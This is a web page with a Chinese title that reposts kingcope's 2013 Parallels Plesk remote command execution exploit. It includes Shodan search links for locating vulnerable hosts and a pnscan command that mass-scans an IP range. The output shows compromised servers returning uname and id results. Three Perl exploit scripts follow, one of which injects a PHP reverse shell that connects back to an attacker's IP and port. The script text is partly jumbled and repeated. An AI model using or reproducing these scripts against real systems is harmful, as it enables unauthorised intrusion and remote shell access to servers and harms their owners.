web server信息收集(附带plesk xday)

<a href="http://www.shodanhq.com/">http://www.shodanhq.com</a>

<a href="http://www.shodanhq.com/search?q=plesklin">http://www.shodanhq.com/search?q=plesklin</a>

<a href="http://packetstormsecurity.com/files/121915/Parallels-Plesk-9.5.4-Remote-Command-Execution.html">http://packetstormsecurity.com/files/121915/Parallels-Plesk-9.5.4-Remote-Command-Execution.html</a>

<code>Plesk Apache zeroday / June 2013</code>

<code>discovered &amp; exploited by kingcope</code>

<code>this Plesk configuration setting makes it possible:</code>

<code>scriptAlias /phppath/ "/usr/bin/"</code>

<code>Furthermore this is not cve-2012-1823 because the php interpreter is called directly.</code>

<code>(no php file is called)</code>

<code>Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution</code>

<code>Affected and tested: Plesk 9.5.4</code>

<code>                     </code><code>Plesk 9.3</code>

<code>                     </code><code>Plesk 9.2</code>

<code>                     </code><code>Plesk 9.0</code>

<code>                     </code><code>Plesk 8.6</code>

<code>Discovered &amp; Exploited by Kingcope / June 2013</code>

<code>Affected and tested OS: RedHat, CentOS, Fedora</code>

<code>Affected and tested Platforms: Linux i386, Linux x86_64</code>

<code>Untested OS: Windows (php.exe?)</code>

<code>Unaffected: 11.0.9 due to compiled in protection of PHP version</code>

<code>Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%</code>

<code>6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%</code>

<code>62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%</code>

<code>3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"</code>

<code>Shodanhq overview of Plesk on Linux:</code>

<code>http://www.shodanhq.com/search?q=plesklin</code>

<code>perl plesk-simple.pl &lt;ip address&gt;</code>

<code>...</code>

<code>OK</code>

<code>Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24</code>

<code> </code><code>19:50:48 MSD 2012 i686 i686 i386 GNU/Linux</code>

<code>uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)</code>

<code>---</code>

<code>./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80</code>

<code>perl plesk-simple.pl 76.12.81.206</code>

<code>HTTP/1.1 200 OK</code>

<code>Date: Sat, 16 Mar 2013 13:39:35 GMT</code>

<code>Server: Apache/2.2.3 (CentOS)</code>

<code>Connection: close</code>

<code>Transfer-Encoding: chunked</code>

<code>Content-Type: text/html</code>

<code>77</code>

<code>Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E</code>

<code>ST 2012 x86_64 x86_64 x86_64 GNU/Linux</code>

<code>3e</code>

<code>0</code>

<code>perl plesk-simple-ssl.pl &lt;ip&gt; (use HTTPS because HTTP gave an internal server error)</code>

<code>Date: Tue, 19 Mar 2013 15:29:28 GMT</code>

<code>Server: Apache/2.0.54 (Fedora)</code>

<code>3</code>

<code>60</code>

<code>Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux</code>

<code>4c</code>

<code>uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)</code>

<code>use IO::Socket;</code>

<code>use URI::Escape;</code>

<code>$sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],</code>

<code>                              </code><code>PeerPort =&gt; 80,</code>

<code>                              </code><code>Proto    =&gt; 'tcp');</code>

<code>$pwn = '&lt;?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?&gt;';</code>

<code>$arguments = uri_escape("-d","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("allow_url_include=on","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("-d","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("safe_mode=off","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("suhosin.simulation=on","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("disable_functions=\"\"","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("open_basedir=none","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .</code>

<code>             </code><code>uri_escape("-n","\0-\377");</code>

<code>$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");</code>

<code>print $sock "POST /$path?$arguments HTTP/1.1\r\n"</code>

<code>           </code><code>."Host: $ARGV[0]\r\n"</code>

<code>           </code><code>."Content-Type: application/x-www-form-urlencoded\r\n"</code>

<code>           </code><code>."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;</code>

<code>while(&lt;$sock&gt;) {</code>

<code>        </code><code>print;</code>

<code>}</code>

<code>use IO::Socket::SSL;</code>

<code>$sock = IO::Socket::SSL-&gt;new(PeerAddr =&gt; $ARGV[0],</code>

<code>                              </code><code>PeerPort =&gt; 443,</code>

<code>#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch</code>

<code>###############################################################################################################</code>

<code>plesk-simple-ssl.pl</code>

<code>#plesk remote exploit by kingcope</code>

<code>#all your base belongs to me :&gt;</code>

<code>           </code><code>."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"          </code>

<code>plesk-simple.pl</code>

<code>           </code><code>."User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n"</code>

<code>plesk.pl</code>

<code>sub usage {</code>

<code> </code><code>print "usage: $0 &lt;target&gt; &lt;http/https&gt; &lt;local_ip&gt; &lt;local_port&gt;\n";exit;</code>

<code>if (!defined($ARGV[3])){usage();}</code>

<code>$target=$ARGV[0];</code>

<code>$proto=$ARGV[1];</code>

<code>if ($proto eq "http") {</code>

<code>$sock = IO::Socket::INET-&gt;new(</code>

<code> </code><code>PeerAddr =&gt; $ARGV[0],</code>

<code> </code><code>PeerPort =&gt; 80,</code>

<code> </code><code>Proto =&gt; 'tcp');</code>

<code>}elsif ($proto eq "https") {</code>

<code>$sock = IO::Socket::SSL-&gt;new(</code>

<code> </code><code>PeerPort =&gt; 443,</code>

<code>}else {usage();}</code>

<code>$lip=$ARGV[2];</code>

<code>$lport=$ARGV[3];</code>

<code>$pwn="&lt;?php echo \"Content-Type: text/plain\r\n\r\n\";set_time_limit (0); \$VERSION = \"1.0\"; \$ip =</code>

<code>'$lip';  \$port = $lport; \$chunk_size = 1400; \$write_a = null;</code>

<code>\$error_a = null; \$shell = '/bin/sh -i'; \$daemon =</code>

<code>0;\$debug = 0; if (function_exists('pcntl_fork')) { \$pid =</code>

<code>pcntl_fork(); if (\$pid == -1) { printit(\"ERROR: Can't fork\");</code>

<code>exit(1);} if (\$pid) { exit(0);} if (posix_setsid() == -1) {</code>

<code>printit(\"Error: Can't setsid()\"); exit(1); } \$daemon = 1;} else {</code>

<code>printit(\"WARNING: Failed to daemonise.  This is quite common and not</code>

<code>fatal.\");}chdir(\"/\"); umask(0); \$sock = fsockopen(\$ip, \$port,</code>

<code>\$errno, \$errstr, 30);if (!\$sock) { printit(\"\$errstr (\$errno)\");</code>

<code>exit(1);} \$descriptorspec = array(0 =&gt; array(\"pipe\", \"r\"),1 =&gt;</code>

<code>array(\"pipe\", \"w\"), 2 =&gt; array(\"pipe\", \"w\"));\$process =</code>

<code>proc_open(\$shell, \$descriptorspec, \$pipes);if</code>

<code>(!is_resource(\$process)) { printit(\"ERROR: Can't spawn shell\");</code>

<code>exit(1);}stream_set_blocking(\$pipes[0],</code>

<code>0);stream_set_blocking(\$pipes[1], 0);stream_set_blocking(\$pipes[2],</code>

<code>0);stream_set_blocking(\$sock, 0);while (1) {    if (feof(\$sock)) {</code>

<code>printit(\"done.\"); break;} if</code>

<code>(feof(\$pipes[1])) {printit(\"done.\");break;}\$read_a = array(\$sock, \$pipes[1],</code>

<code>\$pipes[2]);\$num_changed_sockets = stream_select(\$read_a, \$write_a,</code>

<code>\$error_a, null);if (in_array(\$sock, \$read_a)) {if (\$debug)</code>

<code>printit(\"SOCK READ\");\$input = fread(\$sock,</code>

<code>\$chunk_size);if(\$debug) printit(\"SOCK:</code>

<code>\$input\");fwrite(\$pipes[0], \$input);}if (in_array(\$pipes[1],</code>

<code>\$read_a)) {if (\$debug) printit(\"STDOUT READ\");\$input =</code>

<code>fread(\$pipes[1], \$chunk_size);if (\$debug) printit(\"STDOUT:</code>

<code>\$input\");fwrite(\$sock, \$input);}if (in_array(\$pipes[2],</code>

<code>\$read_a)) {if (\$debug) printit(\"STDERR READ\");\$input =</code>

<code>fread(\$pipes[2], \$chunk_size);    if (\$debug) printit(\"STDERR:</code>

<code>\$input\");fwrite(\$sock,</code>

<code>\$input);}}fclose(\$sock);fclose(\$pipes[0]);fclose(\$pipes[1]);fclose(\$pipes[2]);proc_close(\$process);function printit (\$string) {if (!\$daemon) {print</code>

<code>\"\$string\n\";}}</code>

<code>?&gt;";</code>

<code>$arguments=uri_escape("-d","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("allow_url_include=on","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("-d","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("safe_mode=off","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("suhosin.simulation=on","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("disable_functions=\"\"","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("open_basedir=none","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .</code>

<code> </code><code>uri_escape("-n","\0-\377");</code>

<code>$path=uri_escape("phppath","\0-\377"). "/" . uri_escape("php","\0-\377");</code>

<code>print $sock "POST /$path?$arguments HTTP/1.1\r\n".</code>

<code> </code><code>"Host: $ARGV[0]\r\n".</code>

<code> </code><code>"User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)\r\n".</code>

<code> </code><code>"Content-Type: text/plain\r\n".</code>

<code> </code><code>"Content-Length: ". length($pwn) ."\r\n\r\n". $pwn;</code>

<code>while(&lt;$sock&gt;){print $_;};</code>